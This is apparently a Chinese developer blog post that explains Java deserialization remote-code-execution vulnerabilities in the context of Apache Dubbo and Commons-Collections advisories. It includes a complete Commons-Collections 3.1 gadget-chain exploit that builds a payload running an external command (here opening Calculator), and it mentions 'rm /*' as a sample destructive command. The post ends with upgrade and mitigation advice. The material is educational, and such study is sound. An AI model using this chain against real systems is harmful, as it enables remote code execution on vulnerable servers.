前言
這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認反序列化遠程代碼執行漏洞(CVE-2020-1948)通告。
按照文章披露的漏洞影響范圍,可以說是當前所有的 Dubbo 的版本都有這個問題。

無獨有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當前項目存在安全漏洞CVE-2018-10237。

可以看到這兩個漏洞都是利用反序列化進行執行惡意代碼,可能很多同學跟我當初一樣,看到這個一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來執行的惡意代碼?
這篇文章我們就來聊聊反序列化漏洞,了解一下黑客是如何利用這個漏洞進行攻擊。
先贊后看,養成習慣!微信搜索『程序通事』,關注就完事了!
反序列化漏洞
在了解反序列化漏洞之前,首先我們學習一下兩個基礎知識。
JAVA 運行外部命令
Java 中有一個類 Runtime,我們可以使用這個類執行執行一些外部命令。
下面例子中我們使用 Runtime 運行打開系統的計算器軟件。
// 僅適用macos
Runtime.getRuntime().exec("open -a Calculator ");
有了這個類,惡意代碼就可以執行外部命令,比如執行一把 rm /*。
序列化/反序列化
如果經常使用 Dubbo,Java 序列化與反序列化應該不會陌生。
一個類通過實現 Serializable接口,我們就可以將其序列化成二進制數據,進而存儲在文件中,或者使用網絡傳輸。
其他程序可以通過網絡接收,或者讀取文件的方式,讀取序列化的數據,然后對其進行反序列化,從而反向得到相應的類的實例。

下面的例子我們將 App 的對象進行序列化,然后將數據保存到的文件中。后續再從文件中讀取序列化數據,對其進行反序列化得到 App 類的對象實例。
public class App implements Serializable {
private String name;
private static final long serialVersionUID = 7683681352462061434L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("readObject name is "+name);
Runtime.getRuntime().exec("open -a Calculator");
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
App app = new App();
app.name = "程序通事";
FileOutputStream fos = new FileOutputStream("test.payload");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法將Unsafe對象寫入object文件
os.writeObject(app);
os.close();
//從文件中反序列化obj對象
FileInputStream fis = new FileInputStream("test.payload");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復對象
App objectFromDisk = (App)ois.readObject();
System.out.println("main name is "+objectFromDisk.name);
ois.close();
}
執行結果:
readObject name is 程序通事
main name is 程序通事
并且成功打開了計算器程序。
當我們調用 ObjectInputStream#readObject讀取反序列化的數據,如果對象內實現了 readObject方法,這個方法將會被調用。
源碼如下:

反序列化漏洞執行條件
上面的例子中,我們在 readObject 方法內主動使用Runtime執行外部命令。但是正常的情況下,我們肯定不會在 readObject寫上述代碼,除非是內鬼 ̄□ ̄||

如果可以找到一個對象,他的readObject方法可以執行任意代碼,那么在反序列過程也會執行對應的代碼。我們只要將滿足上述條件的對象序列化之后發送給先相應 Java 程序,Java 程序讀取之后,進行反序列化,就會執行指定的代碼。
為了使反序列化漏洞成功執行需要滿足以下條件:
- Java 反序列化應用中需要存在序列化使用的類,不然反序列化時將會拋出 ClassNotFoundException 異常。
- Java 反序列化對象的 readObject方法可以執行任何代碼,沒有任何驗證或者限制。
引用一段網上的反序列化攻擊流程,來源:https://xz.aliyun.com/t/7031
客戶端構造payload(有效載荷),并進行一層層的封裝,完成最后的exp(exploit-利用代碼)
exp發送到服務端,進入一個服務端自主復寫(也可能是也有組件復寫)的readobject函數,它會反序列化恢復我們構造的exp去形成一個惡意的數據格式exp_1(剝去第一層)
這個惡意數據exp_1在接下來的處理流程(可能是在自主復寫的readobject中、也可能是在外面的邏輯中),會執行一個exp_1這個惡意數據類的一個方法,在方法中會根據exp_1的內容進行函處理,從而一層層地剝去(或者說變形、解析)我們exp_1變成exp_2、exp_3......
最后在一個可執行任意命令的函數中執行最后的payload,完成遠程代碼執行。
Common-Collections
下面我們以 Common-Collections 的存在反序列化漏洞為例,來復現反序列化攻擊流程。
首先我們在應用內引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個漏洞已經被修復。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
PS:下面的代碼只有在 JDK7 環境下執行才能復現這個問題。
首先我們需要明確,我們做一系列目的就是為了讓應用程序成功執行 Runtime.getRuntime().exec("open -a Calculator")。
當然我們沒辦法讓程序直接運行上述語句,我們需要借助其他類,間接執行。
Common-Collections存在一個 Transformer,可以將一個對象類型轉為另一個對象類型,相當于 Java Stream 中的 map 函數。
Transformer有幾個實現類:
- ConstantTransformer
- InvokerTransformer
- ChainedTransformer
其中 ConstantTransformer用于將對象轉為一個常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事");
Object transform = transformer.transform("樓下小黑哥");
// 輸出對象為 程序通事
System.out.println(transform);
InvokerTransformer將會使用反射機制執行指定方法,例如:
Transformer transformer = new InvokerTransformer(
"append",
new Class[]{String.class},
new Object[]{"樓下小黑哥"}
);
StringBuilder input=new StringBuilder("程序通事-");
// 反射執行了 input.append("樓下小黑哥");
Object transform = transformer.transform(input);
// 程序通事-樓下小黑哥
System.out.println(transform);
ChainedTransformer 需要傳入一個 Transformer[]數組對象,使用責任鏈模式執行的內部 Transformer,例如:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer chainTransformer = new ChainedTransformer(transformers);
chainTransformer.transform("任意對象值");
通過 ChainedTransformer 鏈式執行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運行的 Runtime語句。
不過上述的代碼存在一些問題,Runtime沒有繼承 Serializable接口,我們無法將其進行序列化。

如果對其進行序列化程序將會拋出異常:

image-20200705123341395
我們需要改造以上代碼,使用 Runtime.class 經過一系列的反射執行:
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
剛接觸這塊的同學的應該已經看暈了吧,沒關系,我將上面的代碼翻譯一下正常的反射代碼一下:
((Runtime) Runtime.class.
getMethod("getRuntime", null).
invoke(null, null)).
exec("open -a Calculator");
TransformedMap
接下來我們需要找到相關類,可以自動調用Transformer內部方法。
Common-Collections內有兩個類將會調用 Transformer:
- TransformedMap
- LazyMap
下面將會主要介紹 TransformedMap觸發方式,LazyMap觸發方式比較類似,感興趣的同學可以研究這個開源庫@ysoserial CommonsCollections1。
Github 地址:https://github.com/frohoff/ysoserial
TransformedMap 可以用來對 Map 進行某種變換,底層原理實際上是使用傳入的 Transformer 進行轉換。
Transformer transformer = new ConstantTransformer("程序通事");
Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只對 value 進行轉換
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法將會觸發調用 Transformer 內部方法
decorate.put("b", "B");
for (Object entry : decorate.entrySet()) {
Map.Entry temp = (Map.Entry) entry;
if (temp.getKey().equals("a")) {
// Map.Entry setValue 也會觸發 Transformer 內部方法
temp.setValue("AAA");
}
}
System.out.println(decorate);
輸出結果為:
{b=程序通事, a=程序通事}
AnnotationInvocationHandler
上文中我們知道了,只要調用 TransformedMap的 put 方法,或者調用 Map.Entry的 setValue方法就可以觸發我們設置的 ChainedTransformer,從而觸發 Runtime 執行外部命令。
現在我們就需要找到一個可序列化的類,這個類正好實現了 readObject,且正好可以調用 Map put 的方法或者調用 Map.Entry的 setValue。
Java 中有一個類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個類構造函數可以設置一個 Map 變量,這下剛好可以把上面的 TransformedMap 設置進去。

不過不要高興的太早,這個類沒有 public 修飾符,默認只有同一個包才可以使用。

不過這點難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個類的實例。
示例代碼如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個注解
Object instance = ctor.newInstance(Target.class, exMap);
完整的序列化漏洞示例代碼如下 :
String[] execArgs = new String[]{"open -a Calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, execArgs),
};
//
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> tempMap = new HashMap<>();
// tempMap 不能為空
tempMap.put("value", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 隨便使用一個注解
Object instance = ctor.newInstance(Target.class, exMap);
File f = new File("test.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 觸發代碼執行
Object newObj = ois.readObject();
ois.close();
上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學為什么一定要這樣設置?
tempMap不能為空的原因是因為 readObject 方法內需要遍歷內部 Map.Entry.
至于第二個問題,別問,問就是玄學~好吧,我也沒研究清楚--,有了解的小伙伴的留言一下。
最后總結一下這個反序列化漏洞代碼執行鏈路如下:

Common-Collections 漏洞修復方式
在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調用,從而使我們上面構造的 AnnotationInvocationHandler+TransformedMap失效。
另外 Common-Collections3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關,默認為關閉狀態。
比如在 InvokerTransformer類中重寫 readObject,增相關判斷。如果沒有開啟不安全的類的序列化則會拋出UnsupportedOperationException異常

Dubbo 反序列化漏洞
Dubbo 反序列化漏洞原理與上面的類似,但是執行的代碼攻擊鏈與上面完全不一樣,這里就不再復現的詳細的實現的方式,感興趣的可以看下面兩篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770
https://www.mail-archive.com/[email protected]/msg06544.html
Dubbo 在 2020-06-22 日發布 2.7.7 版本,升級內容名其中包括了這個反序列化漏洞的修復。不過從其他人發布的文章來看,2.7.7 版本的修復方式,只是初步改善了問題,不過并沒有根本上解決的這個問題。
感興趣的同學可以看下這篇文章:
https://www.freebuf.com/mob/vuls/241975.html
防護措施
最后作為一名普通的開發者來說,我們自己來修復這種漏洞,實在不太現實。
術業有專攻,這種專業的事,我們就交給個高的人來頂。
我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。
其次我們需要了解一些基本的防護措施,做到一些基本的防御。
如果碰到這類問題,我們及時需要關注官方的新的修復版本,盡早升級,比如 Common-Collections 版本升級。
有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。
如果你目前已經在使用 Dubbo 2.7 版本,那么升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒辦法直接升級。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。
就拿我們系統來講,我們目前這套系統,生產還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。
其次,我們目前大部分應用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。
這部分應用直接升級到 Dubbo 2.7 ,改動其實非常大。另外有些基礎服務,自從第一次部署之后,就再也沒有重新部署過。對于這類應用還需要仔細評估。
最后,我們有些應用,自己實現了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關包路徑也需要做出一些改動。
所以直接升級到 Dubbo 2.7 版本的,對于一些老系統來講,還真是一件比較麻煩的事。
如果真的需要升級,不建議一次性全部升級,建議采用逐步升級替換的方式,慢慢將整個系統的內 Dubbo 版本的升級。
所以這種情況下,短時間內防御措施,可參考玄武實驗室給出的方案:

如果當前 Dubbo 部署云上,那其實比較簡單,可以使用云廠商的提供的相關流量監控產品,提前一步阻止漏洞的利用。
最后(來個一鍵四連!!!)
本人不是從事安全開發,上文中相關總結都是查詢網上資料,然后加以自己的理解。如果有任何錯誤,麻煩各位大佬輕噴~
如果可以的話,留言指出,謝謝了~
好了,說完了正事,來說說這周的趣事~
這周搬到了小黑屋,哼次哼次進入開發~
剛進到小黑屋的時候,我發現里面的桌子,可以單獨拆開。于是我就單獨拆除一個桌子,然后霸占了一個背靠窗,正面直對大門的天然劃水摸魚的好位置。
之后我又叫來另外一個同事,坐在我的邊上。當我們的把電腦,顯示器啥的都搬過來放到桌子上之后。外面進來的同事就說這個會議室怎么就變成了跟房產線下門店一樣了~
還真別說,在我的位置前面擺上兩把椅子,就跟上面的圖一樣了~

好了,下周有點不知道些什么,大家有啥想了解,感興趣的,可以留言一下~
如果沒有寫作主題的話,咱就干回老本行,來聊聊這段時間,我在開發的聚合支付模式,盡請期待哈~
幫助資料
- http://blog.nsfocus.net/deserialization/
- http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識點整理/
- https://xz.aliyun.com/t/2041
- https://xz.aliyun.com/t/2028
- https://www.freebuf.com/vuls/241975.html
- http://rui0.cn/archives/1338
- http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
- https://security.tencent.com/index.php/blog/msg/97
- JAVA反序列化漏洞完整過程分析與調試
- https://security.tencent.com/index.php/blog/msg/131
- https://paper.seebug.org/1264/#35